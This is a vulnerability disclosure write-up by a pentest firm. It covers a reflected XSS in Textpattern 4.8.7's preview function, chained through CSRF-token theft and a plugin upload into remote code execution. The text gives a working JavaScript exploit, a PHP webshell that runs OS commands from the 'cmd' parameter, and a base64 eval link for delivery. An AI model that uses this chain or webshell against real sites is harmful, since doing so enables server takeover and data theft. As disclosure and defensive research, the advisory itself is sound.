Leveraging XSS to get RCE in Textpattern 4.8.7

Researchers:

Paul Ritchie

As part of our ongoing commitment to Open-Source security, Pentest Ltd conducted a research project into Textpattern version 4.8.7.

Textpattern is a free and open-source content management system for PHP and MySQL. According to builtwith.com it was publicly in use on over two-thousand websites.

In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then the application would be exploited after that single click.

Finding the Vulnerability


The post preview function was vulnerable to XSS through the “Body” parameter. This exploit can be used to steal the CSRF token to enable arbitrary code execution through the plugin upload functionality.

The following shows the HTTP request used to confirm the preview was vulnerable:

				
					
GET
/textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1
Host: 192.168.127.128
Cookie: [...] Valid Cookie is Added By the Victim’s Browser [...]
Connection: close
				
			

By default, the application submitted the preview request over HTTP POST. No distinction was made between data in the POST body or within a GET URL making it possible to exploit this via a link.

When decoded, the HTML payload was as shown below:

				
					
<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="alert(1)">
				
			

This included a new “img” tag which executed a popup message when viewed in a browser:

Pentest Limited | Textpattern

An unauthenticated attacker with knowledge of this issue could create a URL for any installation of textpattern. The attacker did not require authenticated access to the target installation of textpattern. The victim must interact with the payload at a time when they are authenticated.

If the victim has access to the “plugins” functionality the attacker could gain Remote Code Execution (RCE) by uploading a PHP file to the server. The plugin upload functionality required a valid “_txp_token” which acted as a Cross-Site Request Forgery (CSRF) defence. The CSRF token was static for the duration of a user’s session. It was accessible easily in the DOM in locations such as the following:

				
					
<script>
var textpattern = {"_txp_uid":"b52057c79f0e75619c9f4c14862beb32","event":"plugin","step":"plugin_upload","_txp_token":"c33a3808f37893bcf79b5dff8fc725b9","ajax_timeout":30000,"prefs":{"max_file_size":"2000000","max_upload_size":"2097152","production_status":"testing","do_spellcheck":"#page-article #body, #page-article #title,#page-image #image_alt_text, #page-image #caption,#page-file #description,#page-link #link-title, #page-link #link-description","language_ui":"en-gb","message":"<span class=\"ui-icon ui-icon-{status}\"><\/span> {message}","messagePane":"<span class=\"messageflash {status}\" role=\"alert\" aria-live=\"assertive\">\n    {message}\n    <a class=\"close\" role=\"button\" title=\"{close}\" href=\"#close\"><span class=\"ui-icon ui-icon-close\">{close}<\/span><\/a>\n<\/span>"},"textarray":{}};
</script>

				
			

To exploit this the attacker would need to use JavaScript to request the “/textpattern/index.php” URL and extract the “_txp_token” from the location highlighted above. The following JavaScript was used to steal the token, and then to upload a PHP webshell:

				
					
<script>
// return the response text from the request
function httpGet(theUrl){
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", theUrl, false ); // false for synchronous request
    xmlHttp.send( null );
    return xmlHttp.responseText;
}
// steal CSRF token from DOM in the "/textpattern/index.php"
function stealToken() {
	var start = '"_txp_token":"';
	var end   = '","ajax_timeout":';
	var url   = '/textpattern/index.php';
	var res   = httpGet(url);
	var token =  res.substring(res.indexOf(start) + start.length, res.indexOf(start) + start.length + 32 );
	return token;
}
// upload webshell using the token.
function uploadWebShell(token) {
	fetch('/textpattern/index.php',{
		method: 'POST',
		headers: {
			'Content-Length': '667', 
			'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryozIzNEFsufRB6LpY', 
			'Connection': 'close'
		},
		credentials: 'include',
		body: '------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="theplugin"; filename="csrfshell.php"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "<\/pre>"; die; }?>\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="install_new"\x0d\x0a\x0d\x0aUpload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="event"\x0d\x0a\x0d\x0aplugin\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="step"\x0d\x0a\x0d\x0aplugin_upload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="_txp_token"\x0d\x0a\x0d\x0a'+token+'\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY--\x0d\x0a'
	});
}
uploadWebShell(stealToken());
</script>

				
			

The above payload could be delivered using a link with the techniques demonstrated below:

				
					
/textpattern/index.php?Body=<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="eval(atob('<PAYLOAD">'))>&app_mode=async&view=preview
				
			

The “eval” function executed the payload which is Base64 decoded using “atob”. To exploit this the full JavaScript payload must be Base64 and then URL encoded, before being pasted over the “<PAYLOAD>” marker above.

After exploitation a new “csrfshell.php” script was accessible which executed OS commands supplied in the “cmd” parameter:

Pentest Limited | Textpattern

This confirmed that exploitation had occurred.

Risk Analysis


Risk Category:
High
CVSS: 9.6/Critical – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Explanation:
In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then they would be exploited after that single click.

Recommendation


To protect your Textpattern installations update to 4.8.8 as soon as possible. Find out more here.

Affected Item(s)

Textpattern version 4.8.7

How can we support you?

Contact our team today to find out how we can help support your organization.